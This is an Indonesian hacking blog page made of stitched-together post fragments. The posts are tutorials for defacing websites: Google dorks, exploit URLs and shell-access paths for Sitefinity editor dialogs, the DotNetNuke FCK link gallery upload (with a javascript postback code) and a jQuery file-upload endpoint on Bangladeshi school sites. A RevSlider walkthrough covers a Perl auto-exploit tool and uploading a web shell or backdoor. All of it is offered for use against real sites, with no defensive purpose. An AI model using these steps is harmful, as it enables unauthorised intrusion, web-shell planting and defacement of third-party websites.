<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuzVV05kO1LQJ0IrQ16aGzZHNpI3ShdaP6jfM9jKfG_qjvwfoWMLMij4XmhxJMWGFA73283Wk4yXoagaULxZZaizgK_MO83uSPs0MGMwSkCeSUYmJZzUGF7uQI9LwJ_PBo3SjdR3e3H-0/s1600/Cuplikan+layar+dari+2016-07-05+08%253A51%253A06.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuzVV05kO1LQJ0IrQ16aGzZHNpI3ShdaP6jfM9jKfG_qjvwfoWMLMij4XmhxJMWGFA73283Wk4yXoagaULxZZaizgK_MO83uSPs0MGMwSkCeSUYmJZzUGF7uQI9LwJ_PBo3SjdR3e3H-0/s640/Cuplikan+layar+dari+2016-07-05+08%253A51%253A06.png" width="640" /></a></div>
 
  
FINNISH.. Thanks for reading on my Blog.. Dont forget to leave comment  
 
 
 </div>

Deface Web Metode Bypass Admin on CMS SIAKAD

Hay gan-sist Meet again nih dengan admin ganteng, hehe Di artikel ini kita akan mempelajari ilmu para script kiddies , yaitu Deface Web. ...

Deface Web Metode Sitefinity Editor Dialogs

<div dir="ltr" style="text-align: left;" trbidi="on">
Assalamualaikum :) 
Apa kabar sobat? 
Haha seperti biasa, gua males nulis artikel :v 
Artikel ini gua re-share dari <a href="https://groosec-squad.blogspot.co.id/2015/06/deface-web-metode-sitefinity-editor.html" target="_blank">Blog GrooSec Squad</a> 
 
Oke langsung aja mulai semedi nya :) 
 
 
 
 
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixXrtRFjm_hHaxmzDqZIRrnXWy2TBQgjwr0ngRjq_XeBDRRsMGp3IiQKmX6eI_BzK1HQUqUm57Nhw0-yfdJ8hBpJCM0Gz6pqQIUJNKiIMq3m81zKIaSZB4mlYvUrBMQWU7urgqlVxy8lU/s1600/1.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixXrtRFjm_hHaxmzDqZIRrnXWy2TBQgjwr0ngRjq_XeBDRRsMGp3IiQKmX6eI_BzK1HQUqUm57Nhw0-yfdJ8hBpJCM0Gz6pqQIUJNKiIMq3m81zKIaSZB4mlYvUrBMQWU7urgqlVxy8lU/s640/1.JPG" width="640" /></a></div>
 
[+] Dork :  
/Sitefinity/login.aspx 
inurl: "UserControls/Dialogs" 
 
[+] Exploit : 
www.NDAS.mu/sitefinity/UserControls/Dialogs/DocumentEditorDialog.aspx 
 
[+] Access Shell : 
www.NDAS.mu/Files/x.aspx  
 
[+] POC : 
 
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTbNNEPvQM8-_MBPUCdspz86I2-AOcNY2j2ng0mmVOueQI9vZrfK9NC4c8G76OVQpginpUA0NLNuFuPz6D_ler3ZIvsGjHuQPJVV3RtPrDDsVzj8Ld9sF7ipJIt1QPejIMbny7kcPq-fI/s1600/2.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="356" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTbNNEPvQM8-_MBPUCdspz86I2-AOcNY2j2ng0mmVOueQI9vZrfK9NC4c8G76OVQpginpUA0NLNuFuPz6D_ler3ZIvsGjHuQPJVV3RtPrDDsVzj8Ld9sF7ipJIt1QPejIMbny7kcPq-fI/s640/2.jpg" width="640" /></a></div>
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhy6OQI9HEZbCNa5qw2keRcLciCVrbwjehEchGbCzbrOb3cApAEivoxQJkDLetTTTZJSGPDBAfowKjHMeB1OxQBxnZpI8boRXQEpfyFSV28mby7pwhBJTmg6BbuxzyfaW1CWnI8xPRqgm8/s1600/3.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="356" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhy6OQI9HEZbCNa5qw2keRcLciCVrbwjehEchGbCzbrOb3cApAEivoxQJkDLetTTTZJSGPDBAfowKjHMeB1OxQBxnZpI8boRXQEpfyFSV28mby7pwhBJTmg6BbuxzyfaW1CWnI8xPRqgm8/s640/3.jpg" width="640" /></a></div>
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaGHJZ6xU0QK7Zv_FWycD4ULtw7x8zKL9PCjiANloxqlsYwILMGymCCtIB3zfs4ChlsLxoBSNFLjkMBAeNMB55ipw2ZTufInWl0WYb7ExUwnAMUBp5VL4HUBc1O10xEWnl6FCWyBmyFCs/s1600/4.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="356" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaGHJZ6xU0QK7Zv_FWycD4ULtw7x8zKL9PCjiANloxqlsYwILMGymCCtIB3zfs4ChlsLxoBSNFLjkMBAeNMB55ipw2ZTufInWl0WYb7ExUwnAMUBp5VL4HUBc1O10xEWnl6FCWyBmyFCs/s640/4.jpg" width="640" /></a></div>
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqki8BSmi8rRuotZHMNatdbeqlfAgwTzJceDDJ-wcu8TNGNeZLCqcY09UdSceXoLzALblcHVFt3piHrDkvG2PWxBoLBIYo2pEE2xRVCc0ppQ6G9_4GYlNOurC2pjE63PSMRV1itxQpBv0/s1600/5.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="356" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqki8BSmi8rRuotZHMNatdbeqlfAgwTzJceDDJ-wcu8TNGNeZLCqcY09UdSceXoLzALblcHVFt3piHrDkvG2PWxBoLBIYo2pEE2xRVCc0ppQ6G9_4GYlNOurC2pjE63PSMRV1itxQpBv0/s640/5.jpg" width="640" /></a></div>
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiki_AY4JdyjSq_KxaUuQgYMVyluTIEYdLj6fcBMAdL0__QYgxqvA434BeQK-2GsLuYXjrLgX_GxSTa74WhO488XxiJEt1LQ40Q6aY_JGKK10vXO3g3FQMI2Dj7kcMVOOAypBWUeZY9VIE/s1600/6.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiki_AY4JdyjSq_KxaUuQgYMVyluTIEYdLj6fcBMAdL0__QYgxqvA434BeQK-2GsLuYXjrLgX_GxSTa74WhO488XxiJEt1LQ40Q6aY_JGKK10vXO3g3FQMI2Dj7kcMVOOAypBWUeZY9VIE/s640/6.jpg" width="640" /></a></div>
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivYkbrmv_ARZYbKI5KeOn5wQ4l6ANFstuQ3JE5Fg7KbsjZOAP8ePDXqVncIMsawTUQ3n9owlXabWXjxRsEcAeJ7D0FXlWPhWnz8U6GKAv3e32LO6cSfD58cQCIc8FOcYi2M0vPRHC8LQk/s1600/7.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivYkbrmv_ARZYbKI5KeOn5wQ4l6ANFstuQ3JE5Fg7KbsjZOAP8ePDXqVncIMsawTUQ3n9owlXabWXjxRsEcAeJ7D0FXlWPhWnz8U6GKAv3e32LO6cSfD58cQCIc8FOcYi2M0vPRHC8LQk/s640/7.jpg" width="640" /></a></div>
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlsYaL5GUrawQndj7odOqWJu0EwkbDr2Q6_36WZB77N1R9goeut9agJrvc_xe8A5cZEma9s6f0pPfrrL8Wauj4IzxN5V77bmh2RpftSJk7xkx7JOQVuIOmWfOK25p3irCD0QXzENiXq8A/s1600/8.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="356" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlsYaL5GUrawQndj7odOqWJu0EwkbDr2Q6_36WZB77N1R9goeut9agJrvc_xe8A5cZEma9s6f0pPfrrL8Wauj4IzxN5V77bmh2RpftSJk7xkx7JOQVuIOmWfOK25p3irCD0QXzENiXq8A/s640/8.jpg" width="640" /></a></div>
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsryxjkQ9UTcRFd3cPnBDTFerIzjH-lgInN1sVSFD52MvGzP7Guk2JNuNI0mNPp8fqSfncAIfhTo-PS1XeIJZzrYkgdgPahXodHZyEBCnXKI_fL87qV2y1QYMkbY06moOB8ueTJAwvIOE/s1600/9.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsryxjkQ9UTcRFd3cPnBDTFerIzjH-lgInN1sVSFD52MvGzP7Guk2JNuNI0mNPp8fqSfncAIfhTo-PS1XeIJZzrYkgdgPahXodHZyEBCnXKI_fL87qV2y1QYMkbY06moOB8ueTJAwvIOE/s640/9.jpg" width="640" /></a></div>
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPGhnZtd5nJKuXIaa_rlE0TvfyAGtfX01rCg33iT7pT6g7Yw9skQex0JSdMtNMdVutuFew142nCDJPIn0LdOKZcP_-oJLvE_S5AnXW_Nkt4YfCqApHogFozZUSgmlhhC4WWbNuZHtqZ7o/s1600/10.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPGhnZtd5nJKuXIaa_rlE0TvfyAGtfX01rCg33iT7pT6g7Yw9skQex0JSdMtNMdVutuFew142nCDJPIn0LdOKZcP_-oJLvE_S5AnXW_Nkt4YfCqApHogFozZUSgmlhhC4WWbNuZHtqZ7o/s640/10.jpg" width="640" /></a></div>
   
 
 
Semoga ilmu hitam ini bermanfaat :)</div>

Deface Web Metode Sitefinity Editor Dialogs

Assalamualaikum :) Apa kabar sobat? Haha seperti biasa, gua males nulis artikel :v Artikel ini gua re-share dari Blog GrooSec Squad O...

Deface Web Metode DNN (Dot Net Nuke) Vulnerability

<div dir="ltr" style="text-align: left;" trbidi="on">
Assalamualaikum :) 
Udah lama nih gua gak share tutor depes, Cz, gua lagi sibuk dalemin Digital Forensik 
Sebenernya pos ini udah lama gua share di blog <a href="https://groosec-squad.blogspot.co.id/2015/07/cara-deface-situs-dengan-metode-dnn-dot.html" target="_blank">GrooSec Squad</a> 
Lagi males nulis pos, jadi yo gua re-share aja lah 
Oke langsung ke topik pembahasan 
Metode kali ini yaitu Dot Net Duke atau yang lebih dikenal FCK Link Gallery :) 
Tapi metode ini hanya nitip file sob 
Oke langsung aja yok 
 
 
 
[+] DORK :  
inurl:tabid/176/Default.aspx 
inurl:portals/0/  
inurl:Fck/fcklinkgallery.aspx 
 
[+] EXPLOIT : 
www.NDAS.mu/[path]/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx  
 
[+] CODE : 
javascript:__doPostBack('ctlURL$cmdUpload','') 
 
[+] Access File : 
www.NDAS.mu/[path]/portals/0/FUCKYOU.txt 
 
[+] Support file : 
 *. swf, *.jpg, *.jpeg, *.jpe, *.gif, *.bmp, *.png, *.doc, *.xls, *.ppt, *.pdf, *.txt, *.xml, *.xsl, *.css, *.zip, *.wrf  
 
 [+] POC : 
 
1. Dorking 
 
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJwZvcpetaKHlY3dHwIXtLbOI8lEf1lA5kbkvdvh6Mhlzbt1Pe61JP78xrsl0fQi4Ie9SS-120_KinoPFdXeYVDPgTIeD69tEPnxWmd5RB73bQRXoOLARZh-i-uYzMdWck91BbPmfamGE/s1600/a.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJwZvcpetaKHlY3dHwIXtLbOI8lEf1lA5kbkvdvh6Mhlzbt1Pe61JP78xrsl0fQi4Ie9SS-120_KinoPFdXeYVDPgTIeD69tEPnxWmd5RB73bQRXoOLARZh-i-uYzMdWck91BbPmfamGE/s640/a.png" width="640" /></a></div>
 
 
2. Insert Exploit , 
      Klik Opsi Link Type : File, dan pilih Opsi File Location : Root 
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZKcTVpS7jTIT-mxAkkDgIjYLBvsc8vwfGu4RRxI-qkeG_jsrrFwFmhQDhcyzJMVXP-SuJ40iC6eFBP3CNB7mkARjENHEVaqIYuP19SBhyphenhyphenD36o5RbpKoCKzFF31Ya4AMD0AKP9QHRy2mY/s1600/b.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZKcTVpS7jTIT-mxAkkDgIjYLBvsc8vwfGu4RRxI-qkeG_jsrrFwFmhQDhcyzJMVXP-SuJ40iC6eFBP3CNB7mkARjENHEVaqIYuP19SBhyphenhyphenD36o5RbpKoCKzFF31Ya4AMD0AKP9QHRy2mY/s640/b.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
  </div>
<div class="separator" style="clear: both; text-align: center;">
 <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiyLYJLTrFDbvAnrBr9jMHJ5w2gSYSlXU3ClBAHRvwdgJZyZ6xuji2koi-JVm-gUfLVzI65Kyfvcft_tW4rdh90Kg8NIvmY753UqWYn5yO3qrOlujmc7sJS6W4jHoMfW0vCCLC8JWBWHM/s1600/e.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiyLYJLTrFDbvAnrBr9jMHJ5w2gSYSlXU3ClBAHRvwdgJZyZ6xuji2koi-JVm-gUfLVzI65Kyfvcft_tW4rdh90Kg8NIvmY753UqWYn5yO3qrOlujmc7sJS6W4jHoMfW0vCCLC8JWBWHM/s640/e.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
 
 
 
3. Ganti URL nya menjadi kode javascript:__doPostBack('ctlURL$cmdUpload','') 
 
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUZKDjF7mOgWYV3bGxFNKsiATjrFf_Bu3EGz0A_MeD5FrSinojfAQf9yGKQdB9Etpf1AAEaDJIVeJ3_yFhFzdSyOqRgfxC3_yYE_dMugLFx3_SZ6lavCRq3tiNMtTy3D7iXuy_aTnmxxo/s1600/d.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUZKDjF7mOgWYV3bGxFNKsiATjrFf_Bu3EGz0A_MeD5FrSinojfAQf9yGKQdB9Etpf1AAEaDJIVeJ3_yFhFzdSyOqRgfxC3_yYE_dMugLFx3_SZ6lavCRq3tiNMtTy3D7iXuy_aTnmxxo/s640/d.png" width="640" /></a></div>
 
 
 4. Maka akan muncul penampakan seperti dibawah ini, dan langsung aja klik tombol Browse 
     dan unggah file sampeyan ;) 
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbfelogJA3o45nTQiwFSf1RLAXmUgMzA4h3avY6OIQjRdTfvNcJIToSz9u79aJHNdOjCUifE9gLp5juqxJreKzEK7LLkoBbKbMvV0v8__D5mq7eO0jOkzcEPETXjzm4vZM6-Kw5lsMxok/s1600/f.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbfelogJA3o45nTQiwFSf1RLAXmUgMzA4h3avY6OIQjRdTfvNcJIToSz9u79aJHNdOjCUifE9gLp5juqxJreKzEK7LLkoBbKbMvV0v8__D5mq7eO0jOkzcEPETXjzm4vZM6-Kw5lsMxok/s640/f.png" width="640" /></a></div>
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgY4UHDA8GBZCr2ARM5wuqU86A5s1J8GhIUT2hVM65hbenRx-tTYXcKmTKDOhh4i4C_S07tXxSo0_g4_7YoxocZhXfBR2Bq1LiaJnwxRCnoDBVWOFJtLuCII4J73yJGlUipqCHh05f9vC8/s1600/g.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgY4UHDA8GBZCr2ARM5wuqU86A5s1J8GhIUT2hVM65hbenRx-tTYXcKmTKDOhh4i4C_S07tXxSo0_g4_7YoxocZhXfBR2Bq1LiaJnwxRCnoDBVWOFJtLuCII4J73yJGlUipqCHh05f9vC8/s640/g.png" width="640" /></a></div>
 
 
 5. Nah jika sudah di unggah lalu access file sampeyan , dan jika 
sampeyan Tamvan, maka penampakan nya akan seperti gambar dibawah ini 
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikKl4XhKvtwxLLp9xq8Ihyphenhyphen_9iWItZu7JBHhfT72ocd4ViHuqzHXdcoy03lcBFkvGQz6xbbZEjJ5Idhhl3HqDvVwCOjWJPDcv1XVQkl-RDLdjxX2rT8qdMq4hZk1kxd-otQ0zRvakRR3P8/s1600/h.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikKl4XhKvtwxLLp9xq8Ihyphenhyphen_9iWItZu7JBHhfT72ocd4ViHuqzHXdcoy03lcBFkvGQz6xbbZEjJ5Idhhl3HqDvVwCOjWJPDcv1XVQkl-RDLdjxX2rT8qdMq4hZk1kxd-otQ0zRvakRR3P8/s640/h.png" width="640" /></a></div>
 
 
   Thanks for visit 
   Dont forget to like <a href="https://www.facebook.com/groosec.go.id" target="_blank">GrooSec Squad on Fanspage Facebook</a> ;)</div>

Deface Web Metode DNN (Dot Net Nuke) Vulnerability

Assalamualaikum :) Udah lama nih gua gak share tutor depes, Cz, gua lagi sibuk dalemin Digital Forensik Sebenernya pos ini udah lama gua ...

Deface Web Metode Jquery Bangladesh School

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-OI5l0SDZwPH2w3mxqOzeBf1-75iv3ktuqgumoNxAP92MGULBkyEfeG09ChWAs-BoVfMAl0J8oCUDR7p9-ZswjGS5POovUrk0bOWqeGIs4oA7eM9NxyB7iHcLYTuxPLeFthF0ur10AVw/s1600/Cuplikan+layar+dari+2016-05-02+04%253A22%253A23.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-OI5l0SDZwPH2w3mxqOzeBf1-75iv3ktuqgumoNxAP92MGULBkyEfeG09ChWAs-BoVfMAl0J8oCUDR7p9-ZswjGS5POovUrk0bOWqeGIs4oA7eM9NxyB7iHcLYTuxPLeFthF0ur10AVw/s640/Cuplikan+layar+dari+2016-05-02+04%253A22%253A23.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
 
 
Hallo mbah :) 
Udah lama ane gak post tentang tutorial deface :D 
 
Oke, metode kali ini merupakan metode yang paling jos loh. Cz kebanyakan target dari web ini merupakan web sekolah asal Banglades. Dan metode ini, sedang booming loh di tahun 2016 ini :) 
 
Oke langsung saja 
 
Shortcut : <a href="http://j.gs/7m8M" target="_blank">Click Here For Tutorial on Youtube</a> 
 
 
Dork : 
Developed by exdmania 
 
Exploit : 
www.TARGET.com/assets/super_admin/vendor/jquery-file-upload/server/php/ 
 
CSRF : 
- php 
http://j.gs/7m6p 
 
- html : 
http://j.gs/7m6r 
 
Shell Access : 
www.TARGET.com/assets/super_admin/vendor/jquery-file-upload/server/php/files/misternotfound.php 
 </div>

Deface Web Metode Jquery Bangladesh School

Hallo mbah :) Udah lama ane gak post tentang tutorial deface :D Oke, metode kali ini merupakan metode yang paling jos loh. Cz keba...

Deface Website Teknik Revslider

<div dir="ltr" style="text-align: left;" trbidi="on">
Salam sejahtera sobat Not-Found :D 
Kesempatan yang unyu ini saya mau share deface situs dengan metode exploit revslider 
Yuk simak ;) 
 
Shortcut : <a href="http://adf.ly/1UqcPz" target="_blank">Click Here for Tutorial on Youtube</a> 
 
> BAHAN : 
<ol style="text-align: left;">
<li>ActivePerl <a href="http://adf.ly/1Uqg4E" target="_blank">Unduh Disini</a></li>
<li>Perl Mister-Revslider <a href="http://adf.ly/1Uqg7A" target="_blank">Unduh Disini</a></li>
<li>Script Deface anda</li>
<li>Shell/Backdoor</li>
</ol>
 
> DORK (My Favorite Dork):  
index of
/wp-content/plugins/revslider/temp/update_extract/revslider/ 
 
> EXPLOIT : 
YOUR-TARGET/[path]/wp-content/plugins/revslider/temp/update_extract/revslider/cmd.php 
<div>
> POC : 
<ol style="text-align: left;">
<li>Pertama, anda instal dulu ActivePerl nya</li>
<li>Lalu download Tool Mister-Revslider Auto Exploit</li>
<li>Extract di folder terinstalnya ActivePerl, tepatnya di C:/Perl/bin</li>
<li>Lalu ubah cmd.php nya dengan Shell anda ;)</li>
<li>Buka folder revslider yang telah di extrat, lalu ganti cmd.php nya dengan Shell anda juga ;)</li>
<li>Jika semuanya sudah siap. Langsung menuju TKP ;)</li>
<li>Lagi Males nulis, Silahkan lihat tutorial saya di youtube ;)</li>
</ol>
> PENAMPAKAN :</div>
<div>
Ada di tutor video saya, atau bisa anda lihat <a href="http://defacerid.com/mirror_49595.html" target="_blank">disini </a></div>
</div>

Deface Website Teknik Revslider

Salam sejahtera sobat Not-Found :D Kesempatan yang unyu ini saya mau share deface situs dengan metode exploit revslider Yuk simak ;) S...

_MisterNotFound_ Official Blog

Deface Web Metode Bypass Admin on CMS SIAKAD

Deface Web Metode Sitefinity Editor Dialogs

Deface Web Metode DNN (Dot Net Nuke) Vulnerability

Deface Web Metode Jquery Bangladesh School

Deface Website Teknik Revslider

Support our team

Layout Style

Background Patterns

Color Scheme